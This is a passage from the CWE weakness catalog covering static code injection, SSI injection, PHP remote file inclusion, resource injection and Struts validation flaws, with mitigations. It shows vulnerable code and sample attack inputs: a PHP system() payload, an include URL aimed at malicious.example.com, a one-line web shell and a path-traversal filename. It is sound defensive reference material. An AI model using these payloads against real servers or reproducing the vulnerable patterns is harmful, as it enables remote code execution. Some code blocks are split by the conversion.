This issue is most frequently found in PHP applications that allow users to set configuration variables that are stored within executable php files. Technically, this could also be performed in some compiled code (e.g. by byte-patching an executable), although it is highly unlikely.

## Demonstrative Examples

This example attempts to write user messages to a message file and allow users to view them.

### PHP Example:

*Bad Code*

```
$MessageFile = "cwe-94/messages.out";
if ($_GET["action"] == "NewMessage") {
    $name = $_GET["name"];
    $message = $_GET["message"];
    $handle = fopen($MessageFile, "a+");
    fwrite($handle, "<b>$name</b> says '$message'<hr>\n");
    fclose($handle);
    echo "Message Saved!<p>\n";
}
else if ($_GET["action"] == "ViewMessages") {
    include($MessageFile);
}
```

While the programmer intends for the MessageFile to only include data, an attacker can provide a message such as:

*Attack*

```
name=h4x0r
message=%3C?php%20system(%22/bin/ls%20-l%22);?%3E
```

which will decode to the following:

*Attack*

```
<?php system("/bin/ls -l");?>
```

The programmer thought they were just including the contents of a regular data file, but PHP parsed it and executed the code. Now, this code is executed any time people view messages. Notice that XSS (CWE-79) is also possible in this situation.

## Observed Examples

Reference	Description
CVE-2002-0495	Perl code directly injected into CGI library file from parameters to another CGI program.
CVE-2003-0395	PHP code from User-Agent HTTP header directly inserted into log file implemented as PHP script.
CVE-2005-1876	Direct PHP code injection into supporting template file.
CVE-2005-1894	Direct code injection into PHP script that can be accessed by attacker.
CVE-2007-6652	chain: execution after redirect allows non-administrator to perform static code injection.

## Potential Mitigations

### Implementation

#### Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Implementation

#### Output Encoding

Perform proper output validation and escaping to neutralize all code syntax from data written to code files.

## Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

## Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		94	Improper Control of Generation of Code ('Code Injection')	<b>699</b> <b>1000</b>	173
ChildOf		632	Weaknesses that Affect Files or Directories	<b>631</b>	981
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388
ParentOf		97	Improper Neutralization of Server-Side Includes (SSI) Within a Web Page	<b>699</b> <b>1000</b>	183
MemberOf		884	CWE Cross-section	<b>884</b>	1319

## Relationship Notes

"HTML injection" (see CWE-79: XSS) could be thought of as an example of this, but the code is injected and executed on the client side, not the server side. Server-Side Includes (SSI) are an example of direct static code injection.

## Affected Resources

- File/Directory

## Causal Nature

**Explicit** (an explicit weakness resulting from behavior of the developer)

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Direct Static Code Injection
Software Fault Patterns	SFP24	Tainted input to command

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
18	Embedding Scripts in Non-Script Elements	
35	Leverage Executable Code in Non-Executable Files	
63	Simple Script Injection	
73	User-Controlled Filename	
77	Manipulating User-Controlled Variables	
81	Web Logs Tampering	
85	AJAX Fingerprinting	
86	Embedding Script (XSS) in HTTP Headers	

# CWE-97: Improper Neutralization of Server-Side Includes (SSI) Within a Web Page

Weakness ID: 97 (Weakness Variant)

Status: Draft

## Description

### Summary

The software generates a web page, but does not neutralize or incorrectly neutralizes user-controllable input that could be interpreted as a server-side include (SSI) directive.

## Time of Introduction

- Architecture and Design
- Implementation

## Applicable Platforms

### Languages

- All

## Common Consequences

### Confidentiality

### Integrity

### Availability

Execute unauthorized code or commands




## Potential Mitigations



**Implementation**

Utilize an appropriate mix of white-list and black-list parsing to filter server-side include syntax from all input.

**Relationships**

Nature	Type	ID	Name		Page
ChildOf		96	Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')		181
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command		1388

**Relationship Notes**

This can be resultant from XSS/HTML injection because the same special characters can be involved. However, this is server-side code execution, not client-side.

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Server-Side Includes (SSI) Injection
WASC	36	SSI Injection

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
35	Leverage Executable Code in Non-Executable Files	
101	Server Side Include (SSI) Injection	

## CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')

Weakness ID: 98 (Weakness Base)

Status: Draft

**Description****Summary**

The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in "require," "include," or similar functions.

**Extended Description**

In certain versions and configurations of PHP, this can allow an attacker to specify a URL to a remote location from which the software will obtain the code to execute. In other cases in association with path traversal, the attacker can specify a local file that may contain executable statements that can be parsed by PHP.

**Alternate Terms****Remote file include****RFI**

The Remote File Inclusion (RFI) acronym is often used by vulnerability researchers.

**Local file inclusion**

This term is frequently used in cases in which remote download is disabled, or when the first part of the filename is not under the attacker's control, which forces use of relative path traversal (CWE-23) attack techniques to access files that may contain previously-injected PHP code, such as web access logs.

**Time of Introduction**

- Implementation
- Architecture and Design

**Applicable Platforms****Languages**

- PHP (Often)

**Common Consequences**

**Integrity****Confidentiality****Availability****Execute unauthorized code or commands**

The attacker may be able to specify arbitrary code to be executed from a remote location. Alternatively, it may be possible to use normal program behavior to insert php code into files on the local machine which can then be included and force the code to execute since php ignores everything in the file except for the content between php specifiers.

**Likelihood of Exploit**

High to Very High

**Detection Methods****Manual Analysis****High**

Manual white-box analysis can be very effective for finding this issue, since there is typically a relatively small number of include or require statements in each program.

**Automated Static Analysis**

The external control or influence of filenames can often be detected using automated static analysis that models data flow within the software.

Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes. If the program uses a customized input validation library, then some tools may allow the analyst to create custom signatures to detect usage of those routines.

**Demonstrative Examples**

The following code attempts to include a function contained in a separate PHP page on the server. It builds the path to the file by using the supplied 'module\_name' parameter and appending the string '/function.php' to it.

**PHP Example:***Bad Code*

```
$dir = $_GET['module_name'];
include($dir . "/function.php");
```

The problem with the above code is that the value of \$dir is not restricted in any way, and a malicious user could manipulate the 'module\_name' parameter to force inclusion of an unanticipated file. For example, an attacker could request the above PHP page (example.php) with a 'module\_name' of "http://malicious.example.com" by using the following request string:

*Attack*

```
victim.php?module_name=http://malicious.example.com
```

Upon receiving this request, the code would set 'module\_name' to the value "http://malicious.example.com" and would attempt to include http://malicious.example.com/function.php, along with any malicious code it contains.

For the sake of this example, assume that the malicious version of function.php looks like the following:

*Bad Code*

```
system($_GET['cmd']);
```

An attacker could now go a step further in our example and provide a request string as follows:

*Attack*

```
victim.php?module_name=http://malicious.example.com&cmd=/bin/ls%20-l
```

The code will attempt to include the malicious function.php file from the remote site. In turn, this file executes the command specified in the 'cmd' parameter from the query string. The end result is an attempt by victim.php to execute the potentially malicious command, in this case:

*Attack*

```
/bin/ls -l
```

Note that the above PHP example can be mitigated by setting `allow_url_fopen` to `false`, although this will not fully protect the code. See potential mitigations.

### Observed Examples

Reference	Description
CVE-2002-1704	PHP remote file include.
CVE-2002-1707	PHP remote file include.
CVE-2004-0030	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2004-0068	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2004-0127	Directory traversal vulnerability in PHP include statement.
CVE-2004-0128	Modification of assumed-immutable variable in configuration script leads to file inclusion.
CVE-2004-0285	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2005-1681	PHP remote file include.
CVE-2005-1864	PHP file inclusion.
CVE-2005-1869	PHP file inclusion.
CVE-2005-1870	PHP file inclusion.
CVE-2005-1964	PHP remote file include.
CVE-2005-1971	Directory traversal vulnerability in PHP include statement.
CVE-2005-2086	PHP remote file include.
CVE-2005-2154	PHP local file inclusion.
CVE-2005-2157	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2005-2162	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2005-2198	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2005-3335	PHP file inclusion issue, both remote and local; local include uses "." and "%00" characters as a manipulation, but many remote file inclusion issues probably have this vector.
CVE-2009-1936	chain: library file sends a redirect if it is directly requested but continues to execute, allowing remote file inclusion and path traversal.

### Potential Mitigations

#### Architecture and Design

##### Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

#### Architecture and Design

##### Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI `AccessReferenceMap` [R.98.1] provide this capability.

#### Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

**Architecture and Design****Operation****Sandbox or Jail****Limited**

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, `java.io.FilePermission` in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

**Architecture and Design****Operation****Environment Hardening**

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.98.2]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

**Implementation****Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

**Architecture and Design****Operation****Identify and Reduce Attack Surface**

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.

This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

**Architecture and Design****Implementation****Identify and Reduce Attack Surface**

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.

**Operation****Firewall****Moderate**

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

**Operation****Implementation****Environment Hardening**

Develop and run your code in the most recent versions of PHP available, preferably PHP 6 or later. Many of the highly risky features in earlier PHP interpreters have been removed, restricted, or disabled by default.

**Operation****Implementation****Environment Hardening**

When using PHP, configure the application so that it does not use `register_globals`. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a `register_globals` emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Often, programmers do not protect direct access to files intended only to be included by core programs. These include files may assume that critical variables have already been initialized by the calling program. As a result, the use of `register_globals` combined with the ability to directly access the include file may allow attackers to conduct file inclusion attacks. This remains an extremely common pattern as of 2009.

**Operation****Environment Hardening****High**

Set `allow_url_fopen` to `false`, which limits the ability to include files from remote locations.

Be aware that some versions of PHP will still accept `ftp://` and other URI schemes. In addition, this setting does not protect the code from path traversal attacks (CWE-22), which are frequently successful against the same vulnerable code that allows remote file inclusion.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
CanPrecede		94	Improper Control of Generation of Code ('Code Injection')		699 173 1000
PeerOf		216	Containment Errors (Container Errors)		1000 410
CanAlsoBe		426	Untrusted Search Path		1000 729
ChildOf		632	Weaknesses that Affect Files or Directories		<b>631</b> 981
ChildOf		706	Use of Incorrectly-Resolved Name or Reference		1000 1106
ChildOf		714	OWASP Top Ten 2007 Category A3 - Malicious File Execution		<b>629</b> 1112
ChildOf		727	OWASP Top Ten 2004 Category A6 - Injection Flaws		<b>711</b> 1118
ChildOf		802	2010 Top 25 - Risky Resource Management		<b>800</b> 1228
ChildOf		829	Inclusion of Functionality from Untrusted Control Sphere		<b>1000</b> 1262
<i>CanFollow</i>		<i>73</i>	<i>External Control of File Name or Path</i>		<i>1000 109</i>
<i>CanFollow</i>		<i>184</i>	<i>Incomplete Blacklist</i>		<i>1000 352</i>
<i>CanFollow</i>		<i>425</i>	<i>Direct Request ('Forced Browsing')</i>		<i>1000 727</i>
<i>CanFollow</i>		<i>456</i>	<i>Missing Initialization of a Variable</i>		<i>1000 770</i>
<i>CanFollow</i>		<i>473</i>	<i>PHP External Variable Modification</i>		<i>1000 796</i>

**Relationship Notes**

This is frequently a functional consequence of other weaknesses. It is usually multi-factor with other factors (e.g. MAID), although not all inclusion bugs involve assumed-immutable data. Direct request weaknesses frequently play a role.

Can overlap directory traversal in local inclusion problems.

**Research Gaps**

Under-researched and under-reported. Other interpreted languages with "require" and "include" functionality could also product vulnerable applications, but as of 2007, PHP has been the focus. Any web-accessible language that uses executable file extensions is likely to have this type of issue, such as ASP, since .asp extensions are typically executable. Languages such as Perl are less likely to exhibit these problems because the .pl extension isn't always configured to be executable by the web server.

**Affected Resources**

- File/Directory

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			PHP File Include
OWASP Top Ten 2007	A3	CWE More Specific	Malicious File Execution
WASC	5		Remote File Inclusion

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
193	PHP Remote File Inclusion	

**References**

[REF-32] OWASP. "Testing for Path Traversal (OWASP-AZ-001)". < [http://www.owasp.org/index.php/Testing\\_for\\_Path\\_Traversal\\_\(OWASP-AZ-001\)](http://www.owasp.org/index.php/Testing_for_Path_Traversal_(OWASP-AZ-001)) >.

[REF-31] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. < <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html> >.

[REF-12] Shaun Clowes. "A Study in Scarlet". < <http://www.cgisecurity.com/lib/studyinscarlet.txt> >.



[REF-13] Stefan Esser. "Suhosin". < <http://www.hardened-php.net/suhosin/> >.  
 Johannes Ullrich. "Top 25 Series - Rank 13 - PHP File Inclusion". SANS Software Security Institute. 2010-03-11. < <http://blogs.sans.org/appsecstreetfighter/2010/03/11/top-25-series-rank-13-php-file-inclusion/> >.

## CWE-99: Improper Control of Resource Identifiers ('Resource Injection')

Weakness ID: 99 (Weakness Base)

Status: Draft

### Description

#### Summary

The software receives input from an upstream component, but it does not restrict or incorrectly restricts the input before it is used as an identifier for a resource that may be outside the intended sphere of control.

#### Extended Description

A resource injection issue occurs when the following two conditions are met:

An attacker can specify the identifier used to access a system resource. For example, an attacker might be able to specify part of the name of a file to be opened or a port number to be used.

By specifying the resource, the attacker gains a capability that would not otherwise be permitted. For example, the program may give the attacker the ability to overwrite the specified file, run with a configuration controlled by the attacker, or transmit sensitive information to a third-party server. This may enable an attacker to access or modify otherwise protected system resources.

### Alternate Terms

#### Insecure Direct Object Reference

OWASP uses this term, although it is effectively the same as resource injection.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Confidentiality

#### Integrity

#### Read application data

#### Modify application data

#### Read files or directories

#### Modify files or directories

An attacker could gain access to or modify sensitive data or system resources. This could allow access to protected files or directories including configuration files and files containing sensitive information.

### Likelihood of Exploit

High

### Demonstrative Examples

#### Example 1:

The following Java code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as ".././tomcat/conf/server.xml", which causes the application to delete one of its own configuration files.

#### Java Example:

*Bad Code*

```
String rName = request.getParameter("reportName");
File rFile = new File("/usr/local/apfr/reports/" + rName);
...
```

```
rFile.delete();
```

**Example 2:**

The following code uses input from the command line to determine which file to open and echo back to the user. If the program runs with privileges and malicious users can create soft links to the file, they can use the program to read the first part of any file on the system.

**C++ Example:***Bad Code*

```
ifstream ifs(argv[0]);
string s;
ifs >> s;
cout << s;
```

The kind of resource the data affects indicates the kind of content that may be dangerous. For example, data containing special characters like period, slash, and backslash, are risky when used in methods that interact with the file system. (Resource injection, when it is related to file system resources, sometimes goes by the name "path manipulation.") Similarly, data that contains URLs and URIs is risky for functions that create remote connections.

**Potential Mitigations****Implementation****Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Other Notes**

A resource injection issue occurs when the following two conditions are met:

An attacker can specify the identifier used to access a system resource. For example, an attacker might be able to specify part of the name of a file to be opened or a port number to be used.

By specifying the resource, the attacker gains a capability that would not otherwise be permitted.







For example, the program may give the attacker the ability to overwrite the specified file, run with a configuration controlled by the attacker, or transmit sensitive information to a third-party server.

Note: Resource injection that involves resources stored on the filesystem goes by the name path manipulation and is reported in a separate category. See the path manipulation description for further details of this vulnerability.

**Weakness Ordinalities**

**Primary** (where the weakness exists independent of other weaknesses)

**Relationships**

Nature	Type	ID	Name	☑	Page
ChildOf		20	Improper Input Validation	<b>700</b>	18
CanAlsoBe		73	External Control of File Name or Path	1000	109
ChildOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	<b>699</b> <b>1000</b>	113
PeerOf		706	Use of Incorrectly-Resolved Name or Reference	1000	1106
ChildOf		813	OWASP Top Ten 2010 Category A4 - Insecure Direct Object References	<b>809</b>	1246
ChildOf		932	OWASP Top Ten 2013 Category A4 - Insecure Direct Object References	<b>928</b>	1359

Nature	Type	ID	Name	V	Page
ChildOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1388
MemberOf	V	630	<i>Weaknesses Examined by SAMATE</i>	630	980
ParentOf	B	641	<i>Improper Restriction of Names for Files and Other Resources</i>	699	991
				1000	
ParentOf	B	694	<i>Use of Multiple Resources with Duplicate Identifier</i>	699	1076
				1000	
MemberOf	V	884	<i>CWE Cross-section</i>	884	1319
ParentOf	B	914	<i>Improper Control of Dynamically-Identified Variables</i>	1000	1337

### Relationship Notes

Resource injection that involves resources stored on the filesystem goes by the name path manipulation (CWE-73).

### Causal Nature

**Explicit** (an explicit weakness resulting from behavior of the developer)

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Resource Injection
Software Fault Patterns	SFP24	Tainted input to command

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
10	Buffer Overflow via Environment Variables	
75	Manipulating Writeable Configuration Files	

### White Box Definitions

A weakness where the code path has:

1. start statement that accepts input followed by
2. a statement that allocates a System Resource using name where the input is part of the name
3. end statement that accesses the System Resource where
  - a. the name of the System Resource violates protection

### Maintenance Notes

The relationship between CWE-99 and CWE-610 needs further investigation and clarification. They might be duplicates. CWE-99 "Resource Injection," as originally defined in Seven Pernicious Kingdoms taxonomy, emphasizes the "identifier used to access a system resource" such as a file name or port number, yet it explicitly states that the "resource injection" term does not apply to "path manipulation," which effectively identifies the path at which a resource can be found and could be considered to be one aspect of a resource identifier. Also, CWE-610 effectively covers any type of resource, whether that resource is at the system layer, the application layer, or the code layer.

## CWE-100: Technology-Specific Input Validation Problems

Category ID: 100 (Category)

Status: Incomplete

### Description

#### Summary

Weaknesses in this category are caused by inadequately implemented input validation within particular technologies.

### Time of Introduction

- Architecture and Design
- Implementation

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	G	20	Improper Input Validation	699	18
ChildOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1388
ParentOf	C	101	<i>Struts Validation Problems</i>	699	193

Nature	Type	ID	Name	V	Page
PeerOf	B	618	Exposed Unsafe ActiveX Method		1000 966

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Technology-Specific Special Elements

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
109	Object Relational Mapping Injection	
228	DTD Injection	

## CWE-101: Struts Validation Problems

Category ID: 101 (Category) Status: Incomplete

### Description

#### Summary

Weaknesses in this category are caused by inadequately implemented protection mechanisms that use the STRUTS framework.

### Applicable Platforms

#### Languages

- Java

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	100	Technology-Specific Input Validation Problems	699	192
ParentOf	V	102	Struts: Duplicate Validation Forms	699	193
ParentOf	V	103	Struts: Incomplete validate() Method Definition	699	194
ParentOf	V	104	Struts: Form Bean Does Not Extend Validation Class	699	196
ParentOf	V	105	Struts: Form Field Without Validator	699	198
ParentOf	V	106	Struts: Plug-in Framework not in Use	699	200
ParentOf	V	107	Struts: Unused Validation Form	699	202
ParentOf	V	108	Struts: Unvalidated Action Form	699	204
ParentOf	V	109	Struts: Validator Turned Off	699	205
ParentOf	V	110	Struts: Validator Without Form Field	699	206
ParentOf	V	608	Struts: Non-private Field in ActionForm Class	699	954

## CWE-102: Struts: Duplicate Validation Forms

Weakness ID: 102 (Weakness Variant) Status: Incomplete

### Description

#### Summary

The application uses multiple validation forms with the same name, which might cause the Struts Validator to validate a form that the programmer does not expect.

#### Extended Description

If two validation forms have the same name, the Struts Validator arbitrarily chooses one of the forms to use for input validation and discards the other. This decision might not correspond to the programmer's expectations, possibly leading to resultant weaknesses. Moreover, it indicates that the validation logic is not up-to-date, and can indicate that other, more subtle validation errors are present.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- Java

### Common Consequences

**Integrity****Unexpected state****Demonstrative Examples**

Two validation forms with the same name.

**XML Example:***Bad Code*

```
<form-validation>
  <formset>
    <form name="ProjectForm"> ... </form>
    <form name="ProjectForm"> ... </form>
  </formset>
</form-validation>
```

It is critically important that validation logic be maintained and kept in sync with the rest of the application.







**Potential Mitigations****Implementation**

The DTD or schema validation will not catch the duplicate occurrence of the same form name. To find the issue in the implementation, manual checks or automated static analysis could be applied to the xml configuration files.

**Weakness Ordinalities**

**Primary** (*where the weakness exists independent of other weaknesses*)

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		20	Improper Input Validation	<b>700</b>	18
ChildOf		101	Struts Validation Problems	<b>699</b>	193
ChildOf		694	Use of Multiple Resources with Duplicate Identifier	<b>1000</b>	1076
ChildOf		722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	<b>711</b>	1116
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388
PeerOf		675	<i>Duplicate Operations on Resource</i>	<i>1000</i>	<i>1043</i>

**Causal Nature**

**Explicit** (*an explicit weakness resulting from behavior of the developer*)

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Struts: Duplicate Validation Forms
Software Fault Patterns	SFP24	Tainted input to command

## CWE-103: Struts: Incomplete validate() Method Definition

**Weakness ID:** 103 (*Weakness Variant*)**Status:** Draft**Description****Summary**

The application has a validator form that either does not define a validate() method, or defines a validate() method but does not call super.validate().

**Extended Description**

If you do not call super.validate(), the Validation Framework cannot check the contents of the form against a validation form. In other words, the validation framework will be disabled for the given form.

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- Java

**Common Consequences**

**Other****Other**

Disabling the validation framework for a form exposes the application to numerous types of attacks. Unchecked input is the root cause of vulnerabilities like cross-site scripting, process control, and SQL injection.

**Confidentiality****Integrity****Availability****Other****Other**

Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.

**Demonstrative Examples**

In the following Java example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for an online business site. The user will enter registration data and the RegistrationForm bean in the Struts framework will maintain the user data. The RegistrationForm class implements the validate method to validate the user input entered into the form.

**Java Example:***Bad Code*

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // private variables for registration form
    private String name;
    private String email;
    ...
    public RegistrationForm() {
        super();
    }
    public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {
        ActionErrors errors = new ActionErrors();
        if (getName() == null || getName().length() < 1) {
            errors.add("name", new ActionMessage("error.name.required"));
        }
        return errors;
    }
    // getter and setter methods for private variables
    ...
}
```

Although the validate method is implemented in this example the method does not call the validate method of the ValidatorForm parent class with a call super.validate(). Without the call to the parent validator class only the custom validation will be performed and the default validation will not be performed. The following example shows that the validate method of the ValidatorForm class is called within the implementation of the validate method.

**Java Example:***Good Code*

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // private variables for registration form
    private String name;
    private String email;
    ...
    public RegistrationForm() {
        super();
    }
    public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {
        ActionErrors errors = super.validate(mapping, request);
        if (errors == null) {
            errors = new ActionErrors();
        }
        if (getName() == null || getName().length() < 1) {
            errors.add("name", new ActionMessage("error.name.required"));
        }
    }
}
```



```

}
return errors;
}
// getter and setter methods for private variables
...
}

```

## Potential Mitigations

### Implementation

Implement the validate() method and call super.validate() within that method.






### Background Details

The Struts Validator uses a form's validate() method to check the contents of the form properties against the constraints specified in the associated validation form. That means the following classes have a validate() method that is part of the validation framework: ValidatorForm, ValidatorActionForm, DynaValidatorForm, and DynaValidatorActionForm. If you create a class that extends one of these classes, and if your class implements custom validation logic by overriding the validate() method, you must call super.validate() in your validate() implementation.

### Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		20	Improper Input Validation	<b>700</b>	18
ChildOf		101	Struts Validation Problems	<b>699</b>	193
ChildOf		573	Improper Following of Specification by Caller	<b>1000</b>	910
ChildOf		722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	<b>711</b>	1116
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388

### Relationship Notes

This could introduce other weaknesses related to missing input validation.

### Causal Nature

**Explicit** (an explicit weakness resulting from behavior of the developer)

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Struts: Erroneous validate() Method
Software Fault Patterns	SFP24	Tainted input to command

### Maintenance Notes

The current description implies a loose composite of two separate weaknesses, so this node might need to be split or converted into a low-level category.

## CWE-104: Struts: Form Bean Does Not Extend Validation Class

**Weakness ID:** 104 (Weakness Variant)

**Status:** Draft

### Description

#### Summary

If a form bean does not extend an ActionForm subclass of the Validator framework, it can expose the application to other weaknesses related to insufficient input validation.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- Java

### Common Consequences

**Other****Other**

Bypassing the validation framework for a form exposes the application to numerous types of attacks. Unchecked input is an important component of vulnerabilities like cross-site scripting, process control, and SQL injection.

**Confidentiality****Integrity****Availability****Other****Other**

